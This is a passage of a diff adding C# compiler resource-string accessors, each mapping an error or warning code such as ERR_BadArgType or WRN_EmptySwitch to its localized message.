ERR_BadArgType => GetResourceString("ERR_BadArgType"); + + internal static string ERR_NoSourceFile => GetResourceString("ERR_NoSourceFile"); + + internal static string ERR_CantRefResource => GetResourceString("ERR_CantRefResource"); + + internal static string ERR_ResourceNotUnique => GetResourceString("ERR_ResourceNotUnique"); + + internal static string ERR_ResourceFileNameNotUnique => GetResourceString("ERR_ResourceFileNameNotUnique"); + + internal static string ERR_ImportNonAssembly => GetResourceString("ERR_ImportNonAssembly"); + + internal static string ERR_RefLvalueExpected => GetResourceString("ERR_RefLvalueExpected"); + + internal static string ERR_BaseInStaticMeth => GetResourceString("ERR_BaseInStaticMeth"); + + internal static string ERR_BaseInBadContext => GetResourceString("ERR_BaseInBadContext"); + + internal static string ERR_RbraceExpected => GetResourceString("ERR_RbraceExpected"); + + internal static string ERR_LbraceExpected => GetResourceString("ERR_LbraceExpected"); + + internal static string ERR_InExpected => GetResourceString("ERR_InExpected"); + + internal static string ERR_InvalidPreprocExpr => GetResourceString("ERR_InvalidPreprocExpr"); + + internal static string ERR_InvalidMemberDecl => GetResourceString("ERR_InvalidMemberDecl"); + + internal static string ERR_MemberNeedsType => GetResourceString("ERR_MemberNeedsType"); + + internal static string ERR_BadBaseType => GetResourceString("ERR_BadBaseType"); + + internal static string WRN_EmptySwitch => GetResourceString("WRN_EmptySwitch"); + + internal static string WRN_EmptySwitch_Title => GetResourceString("WRN_EmptySwitch_Title"); + + internal static string ERR_ExpectedEndTry => GetResourceString("ERR_ExpectedEndTry"); + + internal static string ERR_InvalidExprTerm => GetResourceString("ERR_InvalidExprTerm"); + + internal static string ERR_BadNewExpr => GetResourceString("ERR_BadNewExpr"); + + internal static string ERR_NoNamespacePrivate => GetResourceString("ERR_NoNamespacePrivate"); + + internal static string ERR_BadVarDecl => GetResourceString("ERR_BadVarDecl"); + + internal static string ERR_UsingAfterElements => GetResourceString("ERR_UsingAfterElements"); + + internal static string ERR_BadBinOpArgs => GetResourceString("ERR_BadBinOpArgs"); + + internal static string ERR_BadUnOpArgs => GetResourceString("ERR_BadUnOpArgs"); + + internal static string ERR_NoVoidParameter => GetResourceString("ERR_NoVoidParameter"); + + internal static string ERR_DuplicateAlias => GetResourceString("ERR_DuplicateAlias"); + + internal static string ERR_BadProtectedAccess => GetResourceString("ERR_BadProtectedAccess"); + + internal static string ERR_AddModuleAssembly => GetResourceString("ERR_AddModuleAssembly"); + + internal static string ERR_BindToBogusProp2 => GetResourceString("ERR_BindToBogusProp2"); + + internal static string ERR_BindToBogusProp1 => GetResourceString("ERR_BindToBogusProp1"); + + internal static string ERR_NoVoidHere => GetResourceString("ERR_NoVoidHere"); + + internal static string ERR_IndexerNeedsParam => GetResourceString("ERR_IndexerNeedsParam"); + + internal static string ERR_BadArraySyntax => GetResourceString("ERR_BadArraySyntax"); + + internal static string ERR_BadOperatorSyntax => GetResourceString("ERR_BadOperatorSyntax"); + + internal static string ERR_MainClassNotFound => GetResourceString("ERR_MainClassNotFound"); + + internal static string ERR_MainClassNotClass => GetResourceString("ERR_MainClassNotClass"); + + internal static string ERR_NoMainInClass => GetResourceString("ERR_NoMainInClass"); + + internal static string ERR_MainClassIsImport => GetResourceString("ERR_MainClassIsImport"); + + internal static string ERR_OutputNeedsName => GetResourceString("ERR_OutputNeedsName"); + + internal static string ERR_NoOutputDirectory => GetResourceString("ERR_NoOutputDirectory"); + + internal static string ERR_CantHaveWin32ResAndManifest => GetResourceString("ERR_CantHaveWin32ResAndManifest"); + + internal static string ERR_CantHaveWin32ResAndIcon => GetResourceString("ERR_CantHaveWin32ResAndIcon"); + + internal static string ERR_CantReadResource => GetResourceString("ERR_CantReadResource"); + + internal static string ERR_DocFileGen => GetResourceString("ERR_DocFileGen"); + + internal static string WRN_XMLParseError => GetResourceString("WRN_XMLParseError"); + + internal static string WRN_XMLParseError_Title => GetResourceString("WRN_XMLParseError_Title"); + + internal static string WRN_DuplicateParamTag => GetResourceString("WRN_DuplicateParamTag"); + + internal static string WRN_DuplicateParamTag_Title => GetResourceString("WRN_DuplicateParamTag_Title"); + + internal static string WRN_UnmatchedParamTag => GetResourceString("WRN_UnmatchedParamTag"); + + internal static string WRN_UnmatchedParamTag_Title => GetResourceString("WRN_UnmatchedParamTag_Title"); + + internal static string WRN_UnmatchedParamRefTag => GetResourceString("WRN_UnmatchedParamRefTag"); + + internal static string WRN_UnmatchedParamRefTag_Title => GetResourceString("WRN_UnmatchedParamRefTag_Title"); + + internal static string WRN_MissingParamTag => GetResourceString("WRN_MissingParamTag"); + + internal static string WRN_MissingParamTag_Title => GetResourceString("WRN_MissingParamTag_Title"); + + internal static string WRN_BadXMLRef => GetResourceString("WRN_BadXMLRef"); + + internal static string WRN_BadXMLRef_Title => GetResourceString("WRN_BadXMLRef_Title"); + + internal static string ERR_BadStackAllocExpr => GetResourceString("ERR_BadStackAllocExpr"); + + internal static string ERR_InvalidLineNumber => GetResourceString("ERR_InvalidLineNumber"); + + internal static string ERR_MissingPPFile => GetResourceString("ERR_MissingPPFile"); + + internal static string ERR_ExpectedPPFile => GetResourceString("ERR_ExpectedPPFile"); + + internal static string ERR_ReferenceDirectiveOnlyAllowedInScripts => GetResourceString("ERR_ReferenceDirectiveOnlyAllowedInScripts"); + + internal static string ERR_ForEachMissingMember => GetResourceString("ERR_ForEachMissingMember"); + + internal static string ERR_AwaitForEachMissingMember => GetResourceString("ERR_AwaitForEachMissingMember"); + + internal static string ERR_ForEachMissingMemberWrongAsync => GetResourceString("ERR_ForEachMissingMemberWrongAsync"); + + internal static string ERR_AwaitForEachMissingMemberWrongAsync => GetResourceString("ERR_AwaitForEachMissingMemberWrongAsync"); + + internal static string ERR_PossibleAsyncIteratorWithoutYield => GetResourceString("ERR_PossibleAsyncIteratorWithoutYield"); + + internal static string ERR_PossibleAsyncIteratorWithoutYieldOrAwait => GetResourceString("ERR_PossibleAsyncIteratorWithoutYieldOrAwait"); + + internal static string ERR_StaticLocalFunctionCannotCaptureVariable => GetResourceString("ERR_StaticLocalFunctionCannotCaptureVariable"); + + internal static string ERR_StaticLocalFunctionCannotCaptureThis => GetResourceString("ERR_StaticLocalFunctionCannotCaptureThis"); + + internal static string WRN_BadXMLRefParamType => GetResourceString("WRN_BadXMLRefParamType"); + + internal static string WRN_BadXMLRefParamType_Title => GetResourceString("WRN_BadXMLRefParamType_Title"); + + internal static string WRN_BadXMLRefReturnType => GetResourceString("WRN_BadXMLRefReturnType"); + + internal static string WRN_BadXMLRefReturnType_Title => GetResourceString("WRN_BadXMLRefReturnType_Title"); + + internal static string ERR_BadWin32Res => GetResourceString("ERR_BadWin32Res"); + + internal static string WRN_BadXMLRefSyntax => GetResourceString("WRN_BadXMLRefSyntax"); + + internal static string WRN_BadXMLRefSyntax_Title => GetResourceString("WRN_BadXMLRefSyntax_Title"); + + internal static string ERR_BadModifierLocation => GetResourceString("ERR_BadModifierLocation"); + + internal static string ERR_MissingArraySize => GetResourceString("ERR_MissingArraySize"); + + internal static string WRN_UnprocessedXMLComment => GetResourceString("WRN_UnprocessedXMLComment"); + + internal static string WRN_UnprocessedXMLComment_Title => GetResourceString("WRN_UnprocessedXMLComment_Title"); + + internal static string WRN_FailedInclude => GetResourceString("WRN_FailedInclude"); + + internal static string WRN_FailedInclude_Title => GetResourceString("WRN_FailedInclude_Title"); + + internal static string WRN_InvalidInclude => GetResourceString("WRN_InvalidInclude"); + + internal static string WRN_InvalidInclude_Title => GetResourceString("WRN_InvalidInclude_Title"); + + internal static string WRN_MissingXMLComment => GetResourceString("WRN_MissingXMLComment"); + + internal static string WRN_MissingXMLComment_Title => GetResourceString("WRN_MissingXMLComment_Title"); + + internal static string WRN_MissingXMLComment_Description => GetResourceString("WRN_MissingXMLComment_Description"); + + internal static string WRN_XMLParseIncludeError => GetResourceString("WRN_XMLParseIncludeError"); + + internal static string WRN_XMLParseIncludeError_Title => GetResourceString("WRN_XMLParseIncludeError_Title"); + + internal static string ERR_BadDelArgCount => GetResourceString("ERR_BadDelArgCount"); + + internal static string ERR_UnexpectedSemicolon => GetResourceString("ERR_UnexpectedSemicolon"); + + internal static string ERR_MethodReturnCantBeRefAny => GetResourceString("ERR_MethodReturnCantBeRefAny"); + + internal static string ERR_CompileCancelled => GetResourceString("ERR_CompileCancelled"); + + internal static string ERR_MethodArgCantBeRefAny => GetResourceString("ERR_MethodArgCantBeRefAny"); + + internal static string ERR_AssgReadonlyLocal => GetResourceString("ERR_AssgReadonlyLocal"); + + internal static string ERR_RefReadonlyLocal => GetResourceString("ERR_RefReadonlyLocal"); + + internal static string ERR_CantUseRequiredAttribute => GetResourceString("ERR_CantUseRequiredAttribute"); + + internal static string ERR_NoModifiersOnAccessor => GetResourceString("ERR_NoModifiersOnAccessor"); + + internal static string ERR_ParamsCantBeWithModifier => GetResourceString("ERR_ParamsCantBeWithModifier"); + + internal static string ERR_ReturnNotLValue => GetResourceString("ERR_ReturnNotLValue"); + + internal static string ERR_MissingCoClass => GetResourceString("ERR_MissingCoClass"); + + internal static string ERR_AmbiguousAttribute => GetResourceString("ERR_AmbiguousAttribute"); + + internal static string ERR_BadArgExtraRef => GetResourceString("ERR_BadArgExtraRef"); + + internal static string ERR_BadArgExtraRefLangVersion => GetResourceString("ERR_BadArgExtraRefLangVersion"); + + internal static string WRN_CmdOptionConflictsSource => GetResourceString("WRN_CmdOptionConflictsSource"); + + internal static string WRN_CmdOptionConflictsSource_Title => GetResourceString("WRN_CmdOptionConflictsSource_Title"); + + internal static string WRN_CmdOptionConflictsSource_Description => GetResourceString("WRN_CmdOptionConflictsSource_Description"); + + internal static string ERR_BadCompatMode => GetResourceString("ERR_BadCompatMode"); + + internal static string ERR_DelegateOnConditional => GetResourceString("ERR_DelegateOnConditional"); + + internal static string ERR_CantMakeTempFile => GetResourceString("ERR_CantMakeTempFile"); + + internal static string ERR_BadArgRef => GetResourceString("ERR_BadArgRef"); + + internal static string WRN_BadArgRef => GetResourceString("WRN_BadArgRef"); + + internal static string WRN_BadArgRef_Title => GetResourceString("WRN_BadArgRef_Title"); + + internal static string WRN_ArgExpectedRefOrIn => GetResourceString("WRN_ArgExpectedRefOrIn"); + + internal static string WRN_ArgExpectedRefOrIn_Title => GetResourceString("WRN_ArgExpectedRefOrIn_Title"); + + internal static string WRN_ArgExpectedIn => GetResourceString("WRN_ArgExpectedIn"); + + internal static string WRN_ArgExpectedIn_Title => GetResourceString("WRN_ArgExpectedIn_Title"); + + internal static string WRN_RefReadonlyNotVariable => GetResourceString("WRN_RefReadonlyNotVariable"); + + internal static string WRN_RefReadonlyNotVariable_Title => GetResourceString("WRN_RefReadonlyNotVariable_Title"); + + internal static string ERR_YieldInAnonMeth => GetResourceString("ERR_YieldInAnonMeth"); + + internal static string ERR_ReturnInIterator => GetResourceString("ERR_ReturnInIterator"); + + internal static string ERR_BadIteratorArgType => GetResourceString("ERR_BadIteratorArgType"); + + internal static string ERR_BadIteratorReturn => GetResourceString("ERR_BadIteratorReturn"); + + internal static string ERR_BadYieldInFinally => GetResourceString("ERR_BadYieldInFinally"); + + internal static string ERR_IteratorMustBeAsync => GetResourceString("ERR_IteratorMustBeAsync"); + + internal static string ERR_BadYieldInTryOfCatch => GetResourceString("ERR_BadYieldInTryOfCatch"); + + internal static string ERR_EmptyYield => GetResourceString("ERR_EmptyYield"); + + internal static string ERR_AnonDelegateCantUse => GetResourceString("ERR_AnonDelegateCantUse"); + + internal static string ERR_IllegalInnerUnsafe => GetResourceString("ERR_IllegalInnerUnsafe"); + + internal static string ERR_BadYieldInCatch => GetResourceString("ERR_BadYieldInCatch"); + + internal static string ERR_BadDelegateLeave => GetResourceString("ERR_BadDelegateLeave"); + + internal static string ERR_IllegalSuppression => GetResourceString("ERR_IllegalSuppression"); + + internal static string WRN_IllegalPragma => GetResourceString("WRN_IllegalPragma"); + + internal static string WRN_IllegalPragma_Title => GetResourceString("WRN_IllegalPragma_Title"); + + internal static string WRN_IllegalPPWarning => GetResourceString("WRN_IllegalPPWarning"); + + internal static string WRN_IllegalPPWarning_Title => GetResourceString("WRN_IllegalPPWarning_Title"); + + internal static string WRN_BadRestoreNumber => GetResourceString("WRN_BadRestoreNumber"); + + internal static string WRN_BadRestoreNumber_Title => GetResourceString("WRN_BadRestoreNumber_Title"); + + internal static string ERR_VarargsIterator => GetResourceString("ERR_VarargsIterator"); + + internal static string ERR_UnsafeIteratorArgType => GetResourceString("ERR_UnsafeIteratorArgType"); + + internal static string ERR_BadCoClassSig => GetResourceString("ERR_BadCoClassSig"); + + internal static string ERR_MultipleIEnumOfT => GetResourceString("ERR_MultipleIEnumOfT"); + + internal static string ERR_MultipleIAsyncEnumOfT => GetResourceString("ERR_MultipleIAsyncEnumOfT"); + + internal static string ERR_FixedDimsRequired => GetResourceString("ERR_FixedDimsRequired"); + + internal static string ERR_FixedNotInStruct => GetResourceString("ERR_FixedNotInStruct"); + + internal static string ERR_AnonymousReturnExpected => GetResourceString("ERR_AnonymousReturnExpected"); + + internal static string WRN_NonECMAFeature => GetResourceString("WRN_NonECMAFeature"); + + internal static string WRN_NonECMAFeature_Title => GetResourceString("WRN_NonECMAFeature_Title"); + + internal static string ERR_ExpectedVerbatimLiteral => GetResourceString("ERR_ExpectedVerbatimLiteral"); + + internal static string ERR_RefReadonly => GetResourceString("ERR_RefReadonly"); + + internal static string ERR_RefReadonly2 => GetResourceString("ERR_RefReadonly2"); + + internal static string ERR_AssgReadonly => GetResourceString("ERR_AssgReadonly"); + + internal static string ERR_AssgReadonly2 => GetResourceString("ERR_AssgReadonly2"); + + internal static string ERR_RefReadonlyNotField => GetResourceString("ERR_RefReadonlyNotField"); + + internal static string ERR_RefReadonlyNotField2 => GetResourceString("ERR_RefReadonlyNotField2"); + + internal static string ERR_AssignReadonlyNotField => GetResourceString("ERR_AssignReadonlyNotField"); + + internal static string ERR_AssignReadonlyNotField2 => GetResourceString("ERR_AssignReadonlyNotField2"); + + internal static string ERR_RefReturnReadonlyNotField => GetResourceString("ERR_RefReturnReadonlyNotField"); + + internal static string ERR_RefReturnReadonlyNotField2 => GetResourceString("ERR_RefReturnReadonlyNotField2"); + + internal static string ERR_AssgReadonlyStatic2 => GetResourceString("ERR_AssgReadonlyStatic2"); + + internal static string ERR_RefReadonlyStatic2 => GetResourceString("ERR_RefReadonlyStatic2"); + + internal static string ERR_AssgReadonlyLocal2Cause => GetResourceString("ERR_AssgReadonlyLocal2Cause"); + + internal static string ERR_RefReadonlyLocal2Cause => GetResourceString("ERR_RefReadonlyLocal2Cause"); + + internal static string ERR_AssgReadonlyLocalCause => GetResourceString("ERR_AssgReadonlyLocalCause"); + + internal static string ERR_RefReadonlyLocalCause => GetResourceString("ERR_RefReadonlyLocalCause"); + + internal static string WRN_ErrorOverride => GetResourceString("WRN_ErrorOverride"); + + internal static string WRN_ErrorOverride_Title => GetResourceString("WRN_ErrorOverride_Title"); + + internal static string WRN_ErrorOverride_Description => GetResourceString("WRN_ErrorOverride_Description"); + + internal static string ERR_AnonMethToNonDel => GetResourceString("ERR_AnonMethToNonDel"); + + internal static string ERR_CantConvAnonMethParams => GetResourceString("ERR_CantConvAnonMethParams"); + + internal static string ERR_CantConvAnonMethReturnType => GetResourceString("ERR_CantConvAnonMethReturnType"); + + internal static string ERR_CantConvAnonMethReturns => GetResourceString("ERR_CantConvAnonMethReturns"); + + internal static string ERR_BadAsyncReturnExpression => GetResourceString("ERR_BadAsyncReturnExpression"); + + internal static string ERR_CantConvAsyncAnonFuncReturns => GetResourceString("ERR_CantConvAsyncAnonFuncReturns"); + + internal static string ERR_IllegalFixedType => GetResourceString("ERR_IllegalFixedType"); + + internal static string ERR_FixedOverflow => GetResourceString("ERR_FixedOverflow"); + + internal static string ERR_InvalidFixedArraySize => GetResourceString("ERR_InvalidFixedArraySize"); + + internal static string ERR_FixedBufferNotFixed => GetResourceString("ERR_FixedBufferNotFixed"); + + internal static string ERR_AttributeNotOnAccessor => GetResourceString("ERR_AttributeNotOnAccessor"); + + internal static string WRN_InvalidSearchPathDir => GetResourceString("WRN_InvalidSearchPathDir"); + + internal static string WRN_InvalidSearchPathDir_Title => GetResourceString("WRN_InvalidSearchPathDir_Title"); + + internal static string ERR_IllegalVarArgs => GetResourceString("ERR_IllegalVarArgs"); + + internal static string ERR_IllegalParams => GetResourceString("ERR_IllegalParams"); + + internal static string ERR_BadModifiersOnNamespace => GetResourceString("ERR_BadModifiersOnNamespace"); + + internal static string ERR_BadPlatformType => GetResourceString("ERR_BadPlatformType"); + + internal static string ERR_ThisStructNotInAnonMeth => GetResourceString("ERR_ThisStructNotInAnonMeth"); + + internal static string ERR_NoConvToIDisp => GetResourceString("ERR_NoConvToIDisp"); + + internal static string ERR_NoConvToIDispWrongAsync => GetResourceString("ERR_NoConvToIDispWrongAsync"); + + internal static string ERR_NoConvToIAsyncDisp => GetResourceString("ERR_NoConvToIAsyncDisp"); + + internal static string ERR_NoConvToIAsyncDispWrongAsync => GetResourceString("ERR_NoConvToIAsyncDispWrongAsync"); + + internal static string ERR_BadParamRef => GetResourceString("ERR_BadParamRef"); + + internal static string ERR_BadParamExtraRef => GetResourceString("ERR_BadParamExtraRef"); + + internal static string ERR_BadParamType => GetResourceString("ERR_BadParamType"); + + internal static string ERR_BadExternIdentifier => GetResourceString("ERR_BadExternIdentifier"); + + internal static string ERR_AliasMissingFile => GetResourceString("ERR_AliasMissingFile"); + + internal static string ERR_GlobalExternAlias => GetResourceString("ERR_GlobalExternAlias"); + + internal static string ERR_MissingTypeInSource => GetResourceString("ERR_MissingTypeInSource"); + + internal static string ERR_MissingTypeInAssembly => GetResourceString("ERR_MissingTypeInAssembly"); + + internal static string WRN_MultiplePredefTypes => GetResourceString("WRN_MultiplePredefTypes"); + + internal static string WRN_MultiplePredefTypes_Title => GetResourceString("WRN_MultiplePredefTypes_Title"); + + internal static string WRN_MultiplePredefTypes_Description => GetResourceString("WRN_MultiplePredefTypes_Description"); + + internal static string ERR_LocalCantBeFixedAndHoisted => GetResourceString("ERR_LocalCantBeFixedAndHoisted"); + + internal static string WRN_TooManyLinesForDebugger => GetResourceString("WRN_TooManyLinesForDebugger"); + + internal static string WRN_TooManyLinesForDebugger_Title => GetResourceString("WRN_TooManyLinesForDebugger_Title"); + + internal static string ERR_CantConvAnonMethNoParams => GetResourceString("ERR_CantConvAnonMethNoParams"); + + internal static string ERR_ConditionalOnNonAttributeClass => GetResourceString("ERR_ConditionalOnNonAttributeClass"); + + internal static string WRN_CallOnNonAgileField => GetResourceString("WRN_CallOnNonAgileField"); + + internal static string WRN_CallOnNonAgileField_Title => GetResourceString("WRN_CallOnNonAgileField_Title"); + + internal static string WRN_CallOnNonAgileField_Description => GetResourceString("WRN_CallOnNonAgileField_Description"); + + internal static string WRN_BadWarningNumber => GetResourceString("WRN_BadWarningNumber"); + + internal static string WRN_BadWarningNumber_Title => GetResourceString("WRN_BadWarningNumber_Title"); + + internal static string WRN_BadWarningNumber_Description => GetResourceString("WRN_BadWarningNumber_Description"); + + internal static string WRN_InvalidNumber => GetResourceString("WRN_InvalidNumber"); + + internal static string WRN_InvalidNumber_Title => GetResourceString("WRN_InvalidNumber_Title"); + + internal static string WRN_FileNameTooLong => GetResourceString("WRN_FileNameTooLong"); + + internal static string WRN_FileNameTooLong_Title => GetResourceString("WRN_FileNameTooLong_Title"); + + internal static string WRN_IllegalPPChecksum => GetResourceString("WRN_IllegalPPChecksum"); + + internal static string WRN_IllegalPPChecksum_Title => GetResourceString("WRN_IllegalPPChecksum_Title"); + + internal static string WRN_EndOfPPLineExpected => GetResourceString("WRN_EndOfPPLineExpected"); + + internal static string WRN_EndOfPPLineExpected_Title => GetResourceString("WRN_EndOfPPLineExpected_Title"); + + internal static string WRN_ConflictingChecksum => GetResourceString("WRN_ConflictingChecksum"); + + internal static string WRN_ConflictingChecksum_Title => GetResourceString("WRN_ConflictingChecksum_Title"); + + internal static string WRN_InvalidAssemblyName => GetResourceString("WRN_InvalidAssemblyName"); + + internal static string WRN_InvalidAssemblyName_Title => GetResourceString("WRN_InvalidAssemblyName_Title"); + + internal static string WRN_InvalidAssemblyName_Description => GetResourceString("WRN_InvalidAssemblyName_Description"); + + internal static string WRN_UnifyReferenceMajMin => GetResourceString("WRN_UnifyReferenceMajMin"); + + internal static string WRN_UnifyReferenceMajMin_Title => GetResourceString("WRN_UnifyReferenceMajMin_Title"); + + internal static string WRN_UnifyReferenceMajMin_Description => GetResourceString("WRN_UnifyReferenceMajMin_Description"); + + internal static string WRN_UnifyReferenceBldRev => GetResourceString("WRN_UnifyReferenceBldRev"); + + internal static string WRN_UnifyReferenceBldRev_Title => GetResourceString("WRN_UnifyReferenceBldRev_Title"); + + internal static string WRN_UnifyReferenceBldRev_Description => GetResourceString("WRN_UnifyReferenceBldRev_Description"); + + internal static string ERR_DuplicateImport => GetResourceString("ERR_DuplicateImport"); + + internal static string ERR_DuplicateImportSimple => GetResourceString("ERR_DuplicateImportSimple"); + + internal static string ERR_AssemblyMatchBadVersion => GetResourceString("ERR_AssemblyMatchBadVersion"); + + internal static string ERR_FixedNeedsLvalue => GetResourceString("ERR_FixedNeedsLvalue"); + + internal static string WRN_DuplicateTypeParamTag => GetResourceString("WRN_DuplicateTypeParamTag"); + + internal static string WRN_DuplicateTypeParamTag_Title => GetResourceString("WRN_DuplicateTypeParamTag_Title"); + + internal static string WRN_UnmatchedTypeParamTag => GetResourceString("WRN_UnmatchedTypeParamTag"); + + internal static string WRN_UnmatchedTypeParamTag_Title => GetResourceString("WRN_UnmatchedTypeParamTag_Title"); + + internal static string WRN_UnmatchedTypeParamRefTag => GetResourceString("WRN_UnmatchedTypeParamRefTag"); + + internal static string WRN_UnmatchedTypeParamRefTag_Title => GetResourceString("WRN_UnmatchedTypeParamRefTag_Title"); + + internal static string WRN_MissingTypeParamTag => GetResourceString("WRN_MissingTypeParamTag"); + + internal static string WRN_MissingTypeParamTag_Title => GetResourceString("WRN_MissingTypeParamTag_Title"); + + internal static string ERR_CantChangeTypeOnOverride => GetResourceString("ERR_CantChangeTypeOnOverride"); + + internal static string ERR_DoNotUseFixedBufferAttr => GetResourceString("ERR_DoNotUseFixedBufferAttr"); + + internal static string ERR_DoNotUseFixedBufferAttrOnProperty => GetResourceString("ERR_DoNotUseFixedBufferAttrOnProperty"); + + internal static string WRN_AssignmentToSelf => GetResourceString("WRN_AssignmentToSelf"); + + internal static string WRN_AssignmentToSelf_Title => GetResourceString("WRN_AssignmentToSelf_Title"); + + internal static string WRN_ComparisonToSelf => GetResourceString("WRN_ComparisonToSelf"); + + internal static string WRN_ComparisonToSelf_Title => GetResourceString("WRN_ComparisonToSelf_Title"); + + internal static string ERR_CantOpenWin32Res => GetResourceString("ERR_CantOpenWin32Res"); + + internal static string WRN_DotOnDefault => GetResourceString("WRN_DotOnDefault"); + + internal static string WRN_DotOnDefault_Title => GetResourceString("WRN_DotOnDefault_Title"); + + internal static string ERR_NoMultipleInheritance => GetResourceString("ERR_NoMultipleInheritance"); + + internal static string ERR_BaseClassMustBeFirst => GetResourceString("ERR_BaseClassMustBeFirst"); + + internal static string WRN_BadXMLRefTypeVar => GetResourceString("WRN_BadXMLRefTypeVar"); + + internal static string WRN_BadXMLRefTypeVar_Title => GetResourceString("WRN_BadXMLRefTypeVar_Title"); + + internal static string ERR_FriendAssemblyBadArgs => GetResourceString("ERR_FriendAssemblyBadArgs"); + + internal static string ERR_FriendAssemblySNReq => GetResourceString("ERR_FriendAssemblySNReq"); + + internal static string ERR_DelegateOnNullable => GetResourceString("ERR_DelegateOnNullable"); + + internal static string ERR_BadCtorArgCount => GetResourceString("ERR_BadCtorArgCount"); + + internal static string ERR_GlobalAttributesNotFirst => GetResourceString("ERR_GlobalAttributesNotFirst"); + + internal static string ERR_ExpressionExpected => GetResourceString("ERR_ExpressionExpected"); + + internal static string ERR_InvalidSubsystemVersion => GetResourceString("ERR_InvalidSubsystemVersion"); + + internal static string ERR_InteropMethodWithBody => GetResourceString("ERR_InteropMethodWithBody"); + + internal static string ERR_BadWarningLevel => GetResourceString("ERR_BadWarningLevel"); + + internal static string ERR_BadDebugType => GetResourceString("ERR_BadDebugType"); + + internal static string ERR_BadResourceVis => GetResourceString("ERR_BadResourceVis"); + + internal static string ERR_DefaultValueTypeMustMatch => GetResourceString("ERR_DefaultValueTypeMustMatch"); + + internal static string ERR_DefaultValueBadValueType => GetResourceString("ERR_DefaultValueBadValueType"); + + internal static string ERR_MemberAlreadyInitialized => GetResourceString("ERR_MemberAlreadyInitialized"); + + internal static string ERR_MemberCannotBeInitialized => GetResourceString("ERR_MemberCannotBeInitialized"); + + internal static string ERR_StaticMemberInObjectInitializer => GetResourceString("ERR_StaticMemberInObjectInitializer"); + + internal static string ERR_ReadonlyValueTypeInObjectInitializer => GetResourceString("ERR_ReadonlyValueTypeInObjectInitializer"); + + internal static string ERR_ValueTypePropertyInObjectInitializer => GetResourceString("ERR_ValueTypePropertyInObjectInitializer"); + + internal static string ERR_UnsafeTypeInObjectCreation => GetResourceString("ERR_UnsafeTypeInObjectCreation"); + + internal static string ERR_EmptyElementInitializer => GetResourceString("ERR_EmptyElementInitializer"); + + internal static string ERR_InitializerAddHasWrongSignature => GetResourceString("ERR_InitializerAddHasWrongSignature"); + + internal static string ERR_CollectionInitRequiresIEnumerable => GetResourceString("ERR_CollectionInitRequiresIEnumerable"); + + internal static string ERR_CantSetWin32Manifest => GetResourceString("ERR_CantSetWin32Manifest"); + + internal static string WRN_CantHaveManifestForModule => GetResourceString("WRN_CantHaveManifestForModule"); + + internal static string WRN_CantHaveManifestForModule_Title => GetResourceString("WRN_CantHaveManifestForModule_Title"); + + internal static string ERR_BadInstanceArgType => GetResourceString("ERR_BadInstanceArgType"); + + internal static string ERR_QueryDuplicateRangeVariable => GetResourceString("ERR_QueryDuplicateRangeVariable"); + + internal static string ERR_QueryRangeVariableOverrides => GetResourceString("ERR_QueryRangeVariableOverrides"); + + internal static string ERR_QueryRangeVariableAssignedBadValue => GetResourceString("ERR_QueryRangeVariableAssignedBadValue"); + + internal static string ERR_QueryNoProviderCastable => GetResourceString("ERR_QueryNoProviderCastable"); + + internal static string ERR_QueryNoProviderStandard => GetResourceString("ERR_QueryNoProviderStandard"); + + internal static string ERR_QueryNoProvider => GetResourceString("ERR_QueryNoProvider"); + + internal static string ERR_QueryOuterKey => GetResourceString("ERR_QueryOuterKey"); + + internal static string ERR_QueryInnerKey => GetResourceString("ERR_QueryInnerKey"); + + internal static string ERR_QueryOutRefRangeVariable => GetResourceString("ERR_QueryOutRefRangeVariable"); + + internal static string ERR_QueryMultipleProviders => GetResourceString("ERR_QueryMultipleProviders"); + + internal static string ERR_QueryTypeInferenceFailedMulti => GetResourceString("ERR_QueryTypeInferenceFailedMulti"); + + internal static string ERR_QueryTypeInferenceFailed => GetResourceString("ERR_QueryTypeInferenceFailed"); + + internal static string ERR_QueryTypeInferenceFailedSelectMany => GetResourceString("ERR_QueryTypeInferenceFailedSelectMany"); + + internal static string ERR_ExpressionTreeContainsPointerOp => GetResourceString("ERR_ExpressionTreeContainsPointerOp"); + + internal static string ERR_ExpressionTreeContainsAnonymousMethod => GetResourceString("ERR_ExpressionTreeContainsAnonymousMethod"); + + internal static string ERR_AnonymousMethodToExpressionTree => GetResourceString("ERR_AnonymousMethodToExpressionTree"); + + internal static string ERR_QueryRangeVariableReadOnly => GetResourceString("ERR_QueryRangeVariableReadOnly"); + + internal static string ERR_QueryRangeVariableSameAsTypeParam => GetResourceString("ERR_QueryRangeVariableSameAsTypeParam"); + + internal static string ERR_TypeVarNotFoundRangeVariable => GetResourceString("ERR_TypeVarNotFoundRangeVariable"); + + internal static string ERR_BadArgTypesForCollectionAdd => GetResourceString("ERR_BadArgTypesForCollectionAdd"); + + internal static string ERR_ByRefParameterInExpressionTree => GetResourceString("ERR_ByRefParameterInExpressionTree"); + + internal static string ERR_VarArgsInExpressionTree => GetResourceString("ERR_VarArgsInExpressionTree"); + + internal static string ERR_MemGroupInExpressionTree => GetResourceString("ERR_MemGroupInExpressionTree"); + + internal static string ERR_InitializerAddHasParamModifiers => GetResourceString("ERR_InitializerAddHasParamModifiers"); + + internal static string ERR_NonInvocableMemberCalled => GetResourceString("ERR_NonInvocableMemberCalled"); + + internal static string WRN_MultipleRuntimeImplementationMatches => GetResourceString("WRN_MultipleRuntimeImplementationMatches"); + + internal static string WRN_MultipleRuntimeImplementationMatches_Title => GetResourceString("WRN_MultipleRuntimeImplementationMatches_Title"); + + internal static string WRN_MultipleRuntimeImplementationMatches_Description => GetResourceString("WRN_MultipleRuntimeImplementationMatches_Description"); + + internal static string WRN_MultipleRuntimeOverrideMatches => GetResourceString("WRN_MultipleRuntimeOverrideMatches"); + + internal static string WRN_MultipleRuntimeOverrideMatches_Title => GetResourceString("WRN_MultipleRuntimeOverrideMatches_Title"); + + internal static string ERR_ObjectOrCollectionInitializerWithDelegateCreation => GetResourceString("ERR_ObjectOrCollectionInitializerWithDelegateCreation"); + + internal static string ERR_InvalidConstantDeclarationType => GetResourceString("ERR_InvalidConstantDeclarationType"); + + internal static string ERR_FileNotFound => GetResourceString("ERR_FileNotFound"); + + internal static string WRN_FileAlreadyIncluded => GetResourceString("WRN_FileAlreadyIncluded"); + + internal static string WRN_FileAlreadyIncluded_Title => GetResourceString("WRN_FileAlreadyIncluded_Title"); + + internal static string ERR_NoFileSpec => GetResourceString("ERR_NoFileSpec"); + + internal static string ERR_SwitchNeedsString => GetResourceString("ERR_SwitchNeedsString"); + + internal static string ERR_BadSwitch => GetResourceString("ERR_BadSwitch"); + + internal static string WRN_NoSources => GetResourceString("WRN_NoSources"); + + internal static string WRN_NoSources_Title => 